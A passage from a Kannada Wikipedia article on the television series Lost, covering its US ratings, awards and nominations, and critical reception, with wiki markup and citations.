3 | ಟಿಬಿಎ, 2010 | 2010 | '''ಟಿಬಿಎ''' | '''ಟಿಬಿಎ''' |} ತನ್ನ 9/8 ಮಧ್ಯಮ ಸಮಯ ಸ್ಥಾನವನ್ನು ಗೆಲ್ಲುವ ಮೂಲಕ ಪೂರ್ವ ಪ್ರಸಾರದ ಕಂತು ೧೮.೬ ಮಿಲಿಯನ್ ವೀಕ್ಷಕರನ್ನು ಕಲೆಹಾಕಿದೆ ಮತ್ತು ''[[ಹೂ ವಾಂಟ್ಸ್ ಟು ಬಿ ಮಿಲಿಯನೇರ್ ?]]'' 2000ರಲ್ಲಿ ಪ್ರಸಾರ ಪ್ರಾರಂಭಿಸುವವರೆಗೆ ಎಬಿಸಿ ಉತ್ತಮ [[ರೇಟಿಂಗ್ಸ]]ನ್ನು ಹೊಂದಿತ್ತು. ''[[ಡೆಸ್ಪರೇಟ್ ಹೌಸ್‌ವೈವ್ಸ್‌]]'' ನ ಪ್ರೀಮಿಯರ್‌ನಿಂದ ಆರಂಭಿಕ ಪ್ರಸಾರದ ತಿಂಗಳುಗಳಲ್ಲಿ ಹೊಡೆತವನ್ನು ಅನುಭವಿಸಿತ್ತು. ''ವಿಭಿನ್ನತೆ'' ಯನ್ನು ಅನುಸರಿಸಿ, "ಎಬಿಸಿಯು ನಾಟಕದ ಒಡೆದ ಸನ್ನಿವೇಶಗಳನ್ನು ಉಪಯೋಗಿಸಿಕೊಂಡಿತು, ''[[ದಿ ಪ್ರಾಕ್ಟೀ]]'' ಸ್‌ನ ನೈಜ ಯಶಸ್ಸಿನ ನಂತರ ಈ ಘಟನೆ ನಡೆದಿರಲಿಲ್ಲ. ಹದಿನೆಂಟರಿಂದ ನಲವತ್ತೊಂಭತ್ತು ವರ್ಷದ ವಯಸ್ಕರ 1999ರ ''[[ಒನ್ಸ್ ಅಂಡ್ ಅಗೇನ್]]'' ಮತ್ತು 1995ರಲ್ಲಿನ ''[[ಮರ್ಡರ್ ಒನ್‌]]'' ನ ಒಟ್ಟೂ ವೀಕ್ಷಕರ ಸಂಖ್ಯೆಗೆ ಹೋಲಿಸಿದಾಗ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ನೆಟ್‌ವರ್ಕಿನ ಉತ್ತಮ ಆರಂಭವನ್ನು ಕಂಡಿತು."<ref>{{cite news|first=Rick|last=Kissell|title=ABC, Eye have quite some night|url=http://www.variety.com/article/VR1117910869?categoryid=14&cs=1|publisher=''Variety''|date= 2004-09-25}}</ref> [[ಚಿತ್ರ:LOST TV show US viewership ratings.svg|right|250px| ಪಟ್ಟಿಯು ಪ್ರದರ್ಶನಕ್ಕಾಗಿ ಯುಎಸ್ ಟೆಲೆವಿಷನ್ ಶ್ರೇಯಾಂಕವನ್ನು ತೋರಿಸುತ್ತಿದೆ.]] ಇದರ ಮೊದಲ ಸೀಸನ್ನಿಗೆ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ಸರಾಸರಿ 16 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರನ್ನು ಹೊಂದಿತ್ತು. [[ಮುಖ್ಯ ಸಮಯದ]] ಪ್ರದರ್ಶನಗಳಲ್ಲಿ ವೀಕ್ಷಕರನ್ನಾಧರಿಸಿ ಹದನಾಲ್ಕನೇ ಶ್ರೇಣಿಯನ್ನು ಹೊಂದಿತ್ತು ಮತ್ತು ಹದಿನೆಂಟರಿಂದ ನಲವತ್ತೊಂಭತ್ತು ವರ್ಷದ ವಯಸ್ಕರ [[ಜನಸಂಖ್ಯಾಶಾಸ್ತ್ರ]]ದ ಆಧಾದ ಮೇಲೆ ಹದಿನೈದನೆಯದಾಗಿದೆ.<ref>{{cite news|url=http://www.hollywoodreporter.com/thr/television/feature_display.jsp?vnu_content_id=1000937471|publisher=''[[The Hollywood Reporter]]''|date=2005-05-27|title=Final audience and ratings figures|archiveurl=https://web.archive.org/web/20051226102306/http://www.hollywoodreporter.com/thr/television/feature_display.jsp?vnu_content_id=1000937471|archivedate=2005-12-26|access-date=2009-12-17|url-status=live}}</ref> ಇದರ ಎರಡನೇ ಸೀಸನ್ ಕೂಡಾ ಸಮಾನವಾಗಿ ಉತ್ತಮವಾಗಿದೆ; ಮತ್ತೊಮ್ಮೆ, ಸರಾಸರಿ 15.5 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರ ಜೊತೆಗೆ, ''ಲಾಸ್ಟ್'' ಹದಿನಾಲ್ಕನೇ ಶ್ರೇಣಿಯಲ್ಲಿದೆ. ತನ್ನ ಶ್ರೇಣಿಯನ್ನು ಹದಿನೆಂಟರಿಂದ ನಲವತ್ತೊಂಭತ್ತು ವರ್ಷದವರಲ್ಲಿ ಎಂಟನೇ ಶ್ರೇಣಿಗೆ ಹೆಚ್ಚಿಸಿಕೊಂಡಿದೆ.<ref>{{cite news|url=http://www.hollywoodreporter.com/thr/television/feature_display.jsp?vnu_content_id=1002576393|publisher=''The Hollywood Reporter''|date=2006-05-26|title=2005–06 primetime wrap|archiveurl=https://web.archive.org/web/20060529003429/http://www.hollywoodreporter.com/thr/television/feature_display.jsp?vnu_content_id=1002576393|archivedate=2006-05-29|access-date=2009-12-17|url-status=live}}</ref> ಸರಣಿಯ ದಾಖಲೆಯನ್ನು ಸ್ಥಾಪಿಸುವುದರ ಜೊತೆಗೆ 23 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರನ್ನು ಹೊಂದಿದ ಎರಡನೇ ಸೀಸನ್ನಿನ ಪೂರ್ವ ಪ್ರದರ್ಶನವು ಮೊದಲ ಸೀಸನ್ನಿಗಿಂತ ಹೆಚ್ಚಿಗೆ ನೋಡಲ್ಪಟ್ಟಿತು.<ref>{{cite news|url=http://www.digitalspy.co.uk/article/ds24619.html|title=US Ratings: ''Lost'' premiere draws 23 million|first=Neil|last=Wilkes|publisher=Digital Spy (UK)|date=2005-09-23|access-date=2009-12-17|archive-date=2005-09-24|archive-url=https://web.archive.org/web/20050924051957/http://www.digitalspy.co.uk/article/ds24619.html|url-status=dead}}</ref> ಮೂರನೇ ಸೀಸನ್ನಿನ ಪೂರ್ವ ಪ್ರದರ್ಶನವು 18.8 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರನ್ನು ಹೊಂದಿತು. ಸೀಸನ್ನಿನ ಏಳನೇ ಕಂತು, ಮೂರು ತಿಂಗಳಿನ ಹಿಂಪಡೆತದಿಂದಾಗಿ 14.5ಮಿಲಿಯನ್‌ಗೆ ಕುಸಿಯಿತು. ಹಠಾತ್ ಆರಂಭದ ಸೀಸನ್ನಿನಲ್ಲಿ, ಸೀಸನ್ನಿನ ಫೈನಲ್‌ನಲ್ಲಿ 14 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರನ್ನು ಮರು ಹೊಂದಿಸುವುದಕ್ಕೆ ಶ್ರೇಣಿಯು ಆರಂಭದಲ್ಲಿ ಕನಿಷ್ಠ 11 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರಿಂದ ಮೊದಲುಗೊಂಡಿತ್ತು. [[ನೀಲ್ಸನ್]] ಪ್ರಕಟಿಸಿದ [[ಡಿವಿಆರ್]] ಶ್ರೇಣಿಯು ತೋರಿಸುವಂತೆ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ಟಿವಿಯಲ್ಲಿ ಅತೀ ಹೆಚ್ಚು ಧ್ವನಿಮುದ್ರಿತ ಸರಣಿ ಎಂಬುದರಿಂದ ಶ್ರೇಣಿಯ ಇಳಿಕೆಯನ್ನು ಭಾಗಶಃ ವಿವರಿಸಲಾಗಿದೆ. ಒಟ್ಟು ಶ್ರೇಣಿಯ ಇಳಿಕೆಯನ್ನು ಹೊರತುಪಡಿಸಿ, ನಿರ್ಣಾಯಕ 18-49ರ ಜನಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ಆಧಾರದ ಮೇಲೆ ಇಂದಿಗೂ ''ಲಾಸ್ಟ್'' ತನ್ನ ಸಮಯವನ್ನು ಗೆದ್ದುಕೊಂಡಿದೆ ಮತ್ತು ಇತರ ಯಾವುದೇ ಪ್ರದರ್ಶನವು ಇತರ ಎಲ್ಲ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗಿಂತ ಸಂಜೆ 10ಗಂಟೆಯ ಸಮಯದಲ್ಲಿ, 18-49 ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ಲಾಸ್ಟ್ ಸರಣಿಯು ಗರಿಷ್ಠ ಶ್ರೇಣಿಯನ್ನು ಹೊಂದಿದೆ. ನಾಲ್ಕನೇ ಸೀಸನ್ ಪೂರ್ವ ಪ್ರದರ್ಶನವು ಹಿಂದಿನ ಕಂತಿನ 16.1 ಮಿಲಿಯನ್ ವೀಕ್ಷಕರಿಂದ ಏರಿಕೆಯನ್ನು ಕಂಡಿತು.<ref>{{cite news|url=http://www.hollywoodreporter.com/hr/content_display/television/ratings/e3ia68feb4e2d5900e47c15c857a8015761|source=''The Hollywood Reporter''|date=2008-02-02|title=''Lost'' roars back with Thurs. win|archiveurl=https://web.archive.org/web/20080706194334/http://www.hollywoodreporter.com/hr/content_display/television/ratings/e3ia68feb4e2d5900e47c15c857a8015761|archivedate=2008-07-06|access-date=2009-12-17|url-status=live}}</ref> ಆದರೂ ಎಂಟು ಕಂತುಗಳಿಂದ, 11.461 ಮಿಲಿಯನ್ ಇಳಿಕೆಯನ್ನು ಸರಣಿಯು ಕಂಡಿತು.<ref>{{Cite web |url=http://www.buddytv.com/articles/lost/lost-season-4-suffers-ratings-17888.aspx?pollid=1001379&answer=1005380#poll1001379 |title=buddytv.com |access-date=2021-09-06 |archive-date=2010-03-15 |archive-url=https://web.archive.org/web/20100315021341/http://www.buddytv.com/articles/lost/lost-season-4-suffers-ratings-17888.aspx?pollid=1001379&answer=1005380#poll1001379 |url-status=dead }}</ref> ಇಪ್ಪತ್ತು ದೇಶಗಳ 2006ರಲ್ಲಿ ''ಇನ್‌ಫೋರ್ಮಾ ಟೆಲೆಕಾಮ್ಸ್ ಮತ್ತು ಮೀಡಿಯಾ'' ಸರ್ವೆಯು ತಿಳಿಸಿದಂತೆ, ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ಈ ಎಲ್ಲ ದೇಶಗಳಲ್ಲಿ ಎರಡನೇ ಅತೀ ಜನಪ್ರಿಯ ಟಿವಿ ಪ್ರದರ್ಶನವಾಗಿದೆ''[[CSI: Miami]]'' .<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/entertainment/5231334.stm|date=2006-07-31|title=''CSI'' show 'most popular in world'|publisher=BBC}}</ref> === ಪ್ರಶಸ್ತಿಗಳು === {{Main|List of awards and nominations for Lost}} ಮೊದಲ ಸೀಸನ್ನಿನ ಯಶಸ್ಸಿಗಾಗಿ, ''ಲಾಸ್ಟ್'' ಸರಣಿಯು [[ಎಮ್ಮೀ ಫಾರ್ ಔಟ್‌ಸ್ಟಾಂಡಿಂಗ್ ಡ್ರಾಮಾ ಸಿರೀಸ್]] ಪ್ರಶಸ್ತಿಯನ್ನು ಮತ್ತು ಜೆ.ಜೆ.ಅಬ್ರಾಮ್ಸ್‌ರವರು ತಮ್ಮ ''ಪೂರ್ವತಯಾರಿ ಸರಣಿಯ'' ನಿರ್ದೇಶನಕ್ಕಾಗಿ ಸಪ್ಟೆಂಬರ್ 2005ರ ಎಮ್ಮೀ ಪ್ರಶಸ್ತಿಯನ್ನು ಗಳಿಸಿದರು. ನಾಟಕ ಸರಣಿಯ ವಿಭಾಗದಲ್ಲಿ ವಿಶೇಷ ಸಹ ನಟರ ಪ್ರಶಸ್ತಿಗೆ ಟೆರ್ರಿ ಓ’ಕ್ವಿನ್ ಮತ್ತು ನವೀನ್ ಆ‍ಯ್‌ಂಡ್ರ್ಯೂಸ್ ನಾಮಾಂಕಿತಗೊಂಡಿದ್ದರು. ''ಲಾಸ್ಟ್'' ಸರಣಿಯು 2005ರಲ್ಲಿ ಗಿಲ್ಡ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಬಾಚಿಕೊಂಡಿತು, ನಾಟಕೀಯ ಟೆಲೆವಿಶನ್ ಸರಣಿಯ ಬರವಣಿಗೆಗೆ ವಿಶೇಷ [[ರೈಟರ್ಸ್ ಗಿಲ್ಡ್ ಆಫ್ ಅಮೆರಿಕಾ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು 2005ರಲ್ಲಿ, 2005ರ ಉತ್ತಮ ನಿರ್ಮಾನಕ್ಕಾಗಿ ಪ್ರೊಡುಸರ್ಸ್ ಗಿಲ್ಡ್ ಪ್ರಶಸ್ತಿ, ಉತ್ತಮ ನಾಟಕೀಯ ಟೆಲೆವಿಷನ್ ಕಾರ್ಯಕ್ರಮದ ಉತ್ತಮ ನಿರ್ದೇಶನಕ್ಕಾಗಿ ಡೈರೆಕ್ಟರ್ಸ್ ಗಿಲ್ಡ್ ಪ್ರಶಸ್ತಿ ಮತ್ತು ಉತ್ತಮ ವಿಶೇಷ ತಾರಾಗಣಕ್ಕಾಗಿನ [[2005ರ ಸ್ಕ್ರೀನ್ ಆ‍ಯ್‌ಕ್ಟರ್ಸ್ ಗಿಲ್ಡ್ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ಗಳಿಸಿಕೊಂಡಿತು. (2005-2007) ಮೂರು ಬಾರಿ ಗೋಲ್ಡನ್ ಗ್ಲೋಬ್ ಪ್ರಶಸ್ತಿಗಾಗಿ ನಾಮಾಂಕಿತ ಗೊಂಡಿತ್ತು ಮತ್ತು 2006ರಲ್ಲಿ ಈ ಪ್ರಶಸ್ತಿಯನ್ನು ಗೆದ್ದುಕೊಂಡಿತು. 2005ರಲ್ಲಿ ಮ್ಯಾಥ್ಯೂ ಫಾಕ್ಸ್ ಮತ್ತು ನವೀನ್ ಆ‍ಯ್‌ಂಡ್ರ್ಯೂಸ್‌ರವರು ಗೋಲ್ಡನ್ ಗ್ಲೋಬ್ ನಾಮಾಂಕಿತರಲ್ಲಿ [[ನಾಟಕ ಸರಣಿಯಲ್ಲಿನ ಉತ್ತಮ ಮುಖ್ಯ ಪಾತ್ರಧಾರಿ]]ಗಳಾಗಿ ಮತ್ತು [[ಉತ್ತಮ ಸಹನಟ]]ರಾಗಿ ಗೌರವಿಸಲ್ಪಟ್ಟರು್ ಮತ್ತು 2007ರಲ್ಲಿ ಇವ್ಯಾಂಗಲಿನ್ ಲಿಲ್ಲಿಯವರು [[ಟೆಲೆವಿಷನ್ ನಾಟಕ ಸರಣಿಯಲ್ಲಿನ ಉತ್ತಮ ನಟಿ]]ಯಾಗಿ ನಾಮಾಂಕಿತಗೊಂಡರು. ಉತ್ತಮ ಅಮೆರಿಕನ್ ಆಯಾತಕ್ಕಾಗಿ [[ಬ್ರಿಟಿಷ್ ಅಕಾಡೆಮಿಯ ಫಿಲ್ಮ್ ಮತ್ತು ಟೆಲೆವಿಷನ್ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು 2005ರಲ್ಲಿ ''ಲಾಸ್ಟ್ '' ಸರಣಿಯು ಗೆದ್ದುಕೊಂಡಿತು. 2006ರಲ್ಲಿ ಜಾರ್ಜ್ ಗಾರ್ಸಿಯಾ ಮತ್ತು ಮೈಕೆಲ್ ರೋಡ್ರಿಗೀಜ್ ಅವರು ಟೆಲೆವಿಷನ್ ಸರಣಿಯಲ್ಲಿನ ಉತ್ತಮ ಸಹನಟನೆಗಾಗಿ [[ಅಲ್ಮಾ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ಪಡೆದರು. 2005 ಮತ್ತು 2006 ರಲ್ಲಿ ಉತ್ತಮ ಟೆಲೆವಿಷನ್ ಸರಣಿಗಾಗಿ [[ಸ್ಯಾಟರ್ನ್ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ಪಡೆಯಿತು. 2005ರಲ್ಲಿ ಟೆರ್ರಿ ಓ ಕ್ವಿನ್ ಸ್ಯಾಟರ್ನ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಟೆಲೆವಿಷನ್ ಸರಣಿಯಲ್ಲಿನ ಉತ್ತಮ ಶನಟನೆಗಾಗಿ ಮತ್ತು 2006ರಲ್ಲಿ ಮ್ಯಾಥ್ಯೂ ಫಾಕ್ಸ್ ಉತ್ತಮ ಮುಖ್ಯ ಪಾತ್ರಧಾರಿಗಾಗಿ ಪ್ರಶಸ್ತಯನ್ನು ಗೆದ್ದುಕೊಂಡರು. ಮೊದಲನೆಯ ಮತ್ತು ಎರಡನೆಯ ಸೀಸನ್ನಿಗೆ, ನಾಟಕದಲ್ಲಿನ ವಿಶೇಷ ಸಾಧನೆಗಾಗಿ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ಟೆಲೆವಿಷನ್ ಕ್ರಿಟಿಕ್ಸ್ ಅಸೋಸಿಯೇಶನ್ ಅವಾರ್ಡ್‌ನ್ನು ಪಡೆಯಿತು. ಅದೇ ಅನುಕ್ರಮದಲ್ಲಿ, 2005 ಮತ್ತು 2006ರಲ್ಲಿ [[ವಿಶುವಲ್ ಎಫೆಕ್ಟ್ಸ್ ಸೊಸೈಟಿ ಅವಾರ್ಡ್ಸ್‌]]ನ್ನು ಪ್ರಸಾರ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿನ ವಿಶೇಷ ಸಹ ದೃಶ್ಯ ಪರಿಣಾಮಕ್ಕಾಗಿ ಪಡೆಯಿತು. ಮಾಕೋಮ್ ಡೇವಿಡ್ ಕೆಲ್ಲೆಯು [[ಯುವ ನಟನ ವಾಲ್ಟ್ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು 2006ರಲ್ಲಿ ತಮ್ಮ ಉತ್ತಮ ಅಭಿನಯಕ್ಕೆ ಪಡೆದುಕೊಂಡರು. 2005ರಲ್ಲಿ '''[[ವರ್ಷದ ಮನೋರಂಜನೆ]]''' ಯಾಗಿ [[ಎಂಟರಟೈನ್‌ಮೆಂಟ್ ವೀಕ್ಲಿ]]ಯು ''ಲಾಸ್ಟ್'' ಸರಣಿಯನ್ನು ನಾಮಾಂಕಿತಗೊಳಿಸಿತು. ಹೌಸ್ ಆಫ್ ದಿ ರೈಸಿಂಗ್ ಸನ್ ಮತ್ತು ದಿ ಮೋತ್, ಪುರ್ವ ತಯಾರಿ ಸರಣಿಯ ಚಾರ್ಲೀಯವರ ಸೌಮ್ಯ ಕಥಾಸಂಚಿಕೆಗಾಗಿ 2005ರಲ್ಲಿ ಪ್ರಿಸಮ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಸರಣಿಯು ಪಡೆಯಿತು. ತದನಂತರ, 2007ರಲ್ಲಿ '''ಲಾಸ್ಟ್ ಸರಣಿಯು ''ರೈಟರ್ಸ್ ಗಿಲ್ಡ್ ಪ್ರಶಸ್ತಿಗೆ ಮತ್ತು ಪ್ರೊಡ್ಯೂಸರ್ಸ್ ಗಿಲ್ಡ್ ಪ್ರಶಸ್ತಿಗೆ ನಾಮಾಂಕಿತಗೊಂಡಿತು ಆದರೆ ಪ್ರಶಸ್ತಿಯನ್ನು ಗಳಿಸಲಾಗಲಿಲ್ಲ. ಜೂನ್ 2007ರಲ್ಲಿ [[ಮಾಂಟೆ ಕಾರ್ಲೋ ಟೆಲೆವಿಷನ್ ಉತ್ಸವ]]ದಲ್ಲಿ, ಜಗತ್ತಿನ ಎಲ್ಲ ದೇಶಗಳಿಂದ ಬಂದ 20 ನಾಮಾಂಕಿತ ಟೆಲೆವಿಷನ್ ಶೋಗಳನ್ನು ಲಾಸ್ಟ್ ಹೊಡೆದೋಡಿಸಿತು. ಸಪ್ಟೆಂಬರ್ 2007ರಲ್ಲಿ ಮೈಕೆಲ್ ಎಮರ್ಸನ್ ಮತ್ತು ಟೆರ್ರಿ ಓ ಕ್ವಿನ್‌ರವರು ನಾಟಕ ಸರಣಿಯಲ್ಲಿನ [[ವಿಶೇಷ ಸಹನಟರಾಗಿ ಎಮ್ಮೀ ಪ್ರಶಸ್ತಿ]]ಗೆ ಆಯ್ಕೆಯಾದರು ಮತ್ತು ಓ ಕ್ವಿನ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಗೆದ್ದುಕೊಂಡರು.<ref>[[ಯುನೈಟೆಡ್ ಪ್ರೆಸ್ ಇಂಟರ್‌ನ್ಯಾಶನಲ್]], (ಸಪ್ತಂಬರ್ 16, 2007). [http://www.realitytvworld.com/index/articles/story.php?s=1012950back_to_the_land_of_the_lost/ "ಲಾಸ್ಟ್'' ಸ್ಟಾರ್ ಟೆರ್ರಿ ಓ ಕ್ವಿನ್ ವಿನ್ಸ್ ಬೆಸ್ಟ್ ಸಪ್ಪೋರ್ಟಿಂಗ್ ಡ್ರಾಮಾ ಆ‍ಯ್‌ಕ್ಟರ್ ಎಮ್ಮೀ."'' ] RealityTVWorld.com. 2008ರ ಫೆಬ್ರುವರಿ 6ರಂದು ಪುನರ್ಪಡೆದದ್ದು.</ref> '' ''' ''' ''[[ಅರವತ್ತನೆಯ ಪ್ರೈಮ್‌ಟೈಮ್ ಎಮ್ಮೀ ಪ್ರಶಸ್ತಿ]]ಗೆ ಲಾಸ್ಟ್ ಸರಣಿಯು ಮತ್ತೊಮ್ಮೆ ವಿಶೇಷ ನಾಟಕ ಸರಣಿಗಾಗಿ ನಾಮಾಂಕಿತಗೊಂಡಿತು'' .''' ''''' ಮೈಕೆಲ್ ಎಮರ್ಸನ್ನರಿಗೆ ನಾಟಕಸರಣಿಯಲ್ಲಿನ ವಿಶೇಷ ಸಹನಟನ ಪ್ರಶಸ್ತಿಯ ಜೊತೆಗೆ ಸರಣಿಯು ಏಳು ಇತರ ಎಮ್ಮೀ ನಾಮಾಂಕನವನ್ನು ಗೆದ್ದುಕೊಡಿದೆ.<ref>[[ಅಕಾಡೆಮಿ ಆಫ್ ಟೆಲೆವಿಷನ್ ಆರ್ಟ್ಸ್&amp; ಸೈನ್ಸ್]], (ಜುಲೈ&nbsp;17, 2008) "[http://cdn.emmys.tv/awards/2008pte/60thpte_noms.php ಕಂಪ್ಲೀಟ್ 2008 ನಾಮಿನೇಶನ್ಸ್ ಲಿಸ್ಟ್]". ಜುಲೈ&nbsp;17, 2008ರಂದು ಹಿಂಪಡೆದದ್ದು.</ref> 2009ರಲ್ಲಿ ''ಲಾಸ್ಟ್ '' ಸರಣಿಯು ಮತ್ತೊಮ್ಮೆ ವಿಶೇಷ ನಾಟಕ ಸರಣಿಗಾಗಿ ನಾಮಾಂಕಿತಗೊಡಿತು. ನಾಟಕ ಸರಣಿಯಲ್ಲಿನ ವಿಶೇಷ ಸಹನಟನಾಗಿ ಮೈಕೆಲ್ ಎಮರ್ಸನ್, [[ಅರವತ್ತೊಂದನೇ ಪ್ರೈಮ್‌ಟೈಮ್ ಎಮ್ಮೀ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ಇನ್ನೊಮ್ಮೆ ಗಳಿಸಿಕೊಂಡರು.<ref name="09emmynoms">{{cite web |url=http://cdn.emmys.tv/awards/2009ptemmys/61stemmys_noms.php |title=The 61st Primetime Emmy® Awards and 2009 Creative Arts Emmy® Awards Nominees are... |accessdate=2009-07-16|date=2009-07-16 |publisher=''[[Academy of Television Arts & Sciences]]''}}</ref> === ವಿಮರ್ಶಾ ಪುರಸ್ಕಾರ === ''[[ದಿ ಬಾಸ್ಟನ್ ಗ್ಲೋಬ್‌]]'' ನ ಮ್ಯಾಥ್ಯೂ ಗಿಲ್ಬರ್ಟ್, ''[[ಪೀಪಲ್ ವೀಕ್ಲಿ]]'' ಯ ಟಾಮ್ ಗ್ಲಿಯಾಟೋ, ''[[ಸ್ಯಾನ್ ಜೋಸ್ ಮರ್ಕ್ಯುರಿ ನ್ಯೂಸ್‌]]'' ನ ಚಾರ್ಲೀ ಮೆಕ್‌ಕೊಲಮ್ ಮತ್ತು ''ಯುಎಸ್‌ಏ ಟುಡೇ'' ಯ ರಾಬರ್ಟ್ ಬಿಯಾಂಕೋ ಪ್ರಕಾರ "2005ರ ಉತ್ತಮ ಟಿವಿ ಕವರೇಜ್: ಕ್ರಿಟಿಕ್ ಟಾಪ್ ಟೆನ್ ಲಿಸ್ಟ್ಸ್"ನಲ್ಲಿ ''ಲಾಸ್ಟ್'' ಮೊದಲ ಸ್ಥಾನದಲ್ಲಿದೆ.<ref name="M1">{{cite web |url=http://www.metacritic.com/tv/bests/2005/ |title=Best of 2005 |publisher=Metacritic.com |accessdate=2005-07-12}}</ref> ''[[ಟೈಮ್]]'' ಮ್ಯಾಗಝೀನ್‌ನ ಜೇಮ್ಸ್ ಪೋನಿವೊಝಿಕ್ ಹೆಸರಿಸಿದಂತೆ ಅತ್ಯುತ್ತಮ ಹತ್ತು ರಿಟರ್ನಿಂಗ್ ಸರಣಿಗಳಲ್ಲಿ ಎರಡನೆಯ ಸಂಖ್ಯೆಯದಾಗಿದೆ.<ref>ಪೊನೀವೊಝಿಕ್, ಜೇಮ್ಸ್. [http://www.time.com/time/specials/2007/top10/article/0,30583,1686204_1686244_1691400,00.html "ಟಾಪ್ 10 ನ್ಯೂ ಟಿವಿ ಸಿರೀಸ್."] {{Webarchive|url=https://web.archive.org/web/20090525140318/http://www.time.com/time/specials/2007/top10/article/0,30583,1686204_1686244_1691400,00.html |date=2009-05-25 }} Time.com. 2007ರ ಮಾರ್ಚ್‌ 23ರಂದು ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.</ref> ಜೊತೆಗೆ ಅದೇ ವರ್ಷದಲ್ಲಿ ''ಟೈಮ್‌ನ '''೧೦೦ ಗ್ರೇಟೆಸ್ಟ್ ಶೋಸ್ ಆಫ್ ಆಲ್ ಟೈಮ್‌ ಆಗಿ ''ಲಾಸ್ಟ್'' ಸರಣಿಯನ್ನು ಮಾಡಿದೆ''' '' .<ref>{{cite web|url=http://www.time.com/time/specials/2007/article/0,28804,1651341_1659192_1652600,00.html|title=The 100 Best TV Shows of All-TIME|author=James Poniewozik|publisher=[[Time Magazine]]|date=2007-10|accessdate=2007-05-03|archive-date=2011-10-16|archive-url=https://web.archive.org/web/20111016144835/http://www.time.com/time/specials/2007/article/0,28804,1651341_1659192_1652600,00.html|url-status=dead}}</ref>''' [[ಎಂಪೈರ್ ಮ್ಯಾಗಝೀನ್‌]]ನಲ್ಲಿ ''ಟಾಪ್ 50 ಗ್ರೇಟೆಸ್ಟ್ ಟಿವಿ ಶೋಸ್ ಆಫ್ ಆಲ್ ಟೈಮ್‌ನ ಸರಣಿಯಲ್ಲಿ '' ಲಾಸ್ಟ್ ಸರಣಿಯು ''ಐದನೆಯದಾಗಿದೆ'' .<ref>[http://www.empireonline.com/50greatesttv/default.asp?tv=5 ೆಂಪೈರ್: ಫೀಚರ್ಸ್]</ref>''' ''' [[ದಿ ನ್ಯೂ ಯಾರ್ಕ್‌ ಟೈಮ್ಸ್‌]]ನ ''ಟೆಲೆವಿಷನ್ ವರದಿಗರರಾದ ಬಿಲ್ ಕಾರ್ಟರ್'' ಲಾಸ್ಟ್ ಸರಣಿಯನ್ನು ''ವಿವರಿಸಿದಂತೆ'' , "''ಈ ಪ್ರದರ್ಶನವು ಟೆಲೆವಿಷನ್ ಇತಿಹಾಸದಲ್ಲೇ ನಿರಂತರವಾಗಿ ಮುಂದುವರಿಯುತ್ತಿರುವ ಕಥಾ ಸರಣಿಯಾಗಿದೆ."'' <ref>ಕಾರ್ಟರ್, ಬಿಲ್. [https://www.nytimes.com/2008/01/30/arts/television/30lost.html "ಟ್ರಾಪಿಕಲ್ ಟೀಸರ್: ಲಾಸ್ಟ್'' ಕ್ಲ್ಯೂಸ್ ಡಿಕೋಡೆಡ್."'' ] NYT.com ಮೇ 21, 2008 ರಂದು ಹಿಂತೆಗೆದುಕೊಳ್ಳಲಾಗದೆ.</ref> ಉತ್ತಮ ಆರಂಭದ ಹಿನ್ನಲೆಯಲ್ಲಿ, [[ರಾಯಿಟರ್ಸ್]] ಇದನ್ನು "ಯಶಸ್ವೀ ನಾಟಕ" ಎಂದು ಕರದು, "ರೇಡಿಯೋ ಜಾಹೀರಾತು, ವಿಶೇಷ ಪ್ರದರ್ಶನ ಮತ್ತು ಐದು ವರ್ಷಗಳಲ್ಲಿನ ಎಬಿಸಿಯ ಮೊದಲ ಫಲಕಗಳ ಜಾಹೀರಾತು ಮೇಳವನ್ನೂ ಸೇರಿಸಿ ಈ ಪ್ರದರ್ಶನವು ಎಲ್ಲ ಮಾರುಕಟ್ಟೆಯ ತಂತ್ರಗಳಿಂದಲೂ ಉಪಯೋಗ ಪಡೆಯಲ್ಪಟ್ಟಿತು."<ref>{{cite news|url=http://www.lost-media.com/modules.php?name=News&file=print&sid=10|title=ABC May Have Found a Hit in 'Lost'|date=October 1, 2004|last=Gorman|first=Steve|publisher=Reuters|access-date=ಡಿಸೆಂಬರ್ 17, 2009|archive-date=ಜನವರಿ 7, 2008|archive-url=https://web.archive.org/web/20080107192543/http://www.lost-media.com/modules.php?name=News&file=print&sid=10|url-status=dead}}</ref> ಮೂರನೇ ಸೀಸನ್ನಿನ ಮುದಲ ಬ್ಲಾಕ್‌ನ ಕಂತುಗಳು, ಅನೇಕ ನಿಗೂಢಗಳನ್ನು ಹೊಂದಿರುವ<ref>ಸಿಮ್ಯುನಿಕ್, ಸ್ಟೀವನ್, (ಮಾರ್ಚ್ 15, 2007) "[http://www.dailycal.org/shabarticle.php?id=23854 ವೈ ಎಬಿಸೀಸ್ ''ಲಾಸ್ಟ್'' ಈಸ್ ಲಾಸಿಂಗ್ ಇಟ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}," ''[[ದಿ ಡೈಲಿ ಕ್ಯಾಲಿಫೋರ್ನಿಯನ್]]'' . ಸಪ್ಟೆಂಬರ್ 8, 2007ರಂದು 